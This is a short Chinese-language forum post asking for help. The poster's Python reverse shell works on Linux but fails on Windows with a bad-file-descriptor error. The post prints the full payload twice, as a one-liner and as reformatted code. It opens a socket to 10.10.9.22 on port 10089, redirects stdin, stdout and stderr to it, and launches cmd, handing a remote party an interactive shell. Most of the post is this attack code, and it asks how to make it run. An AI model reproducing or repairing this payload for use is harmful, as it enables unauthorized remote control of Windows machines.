好久没来论坛了~
遇到一个问题,shell连出去以后马上就断了
在linux可以好好运行的脚本,改一改在windows下就不能运行了。我看了下windows的文件描述符也是0输入、1输出、2错误信息啊。怎么来了个OSError: [Errno 9] Bad file descriptor呢。具体脚本如下:
python -c "import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.9.22',10089));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['cmd']);"
写成这样好看一些:
import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.9.22',10089))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['cmd','/u']);
报错如下:
OSError: [Errno 9] Bad file descriptor